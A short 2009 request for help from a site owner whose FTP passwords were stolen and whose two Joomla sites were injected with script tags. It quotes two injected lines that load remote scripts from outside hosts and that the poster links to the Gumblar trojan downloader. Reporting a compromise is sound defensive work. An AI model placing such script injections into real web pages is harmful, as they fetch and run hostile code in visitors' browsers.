Joomla Malicious Code Removal
November 28th, 2009
Someone managed to get my FTP passwords and entered a script into my Joomla sites (2 sites). The script changes but is currently inserting the following into the source code:
<script src=http://cod2-cheats.extra.hu/images/successful.php ></script>
And:
<script src=http://cosmeticclinicindia.com/images/qcw2/maninLinksBG.php ></script>
Based on a Google search it seems to be related to Trojan-Downloader.JS.Gumblar.x
Also, searching forums I found this: http://forum.kaspersky.com/index.php?showtopic=145296 which says it’s just a false positive. However, it’s still in my source code so musst be doing something.
I need someone that can remove it.
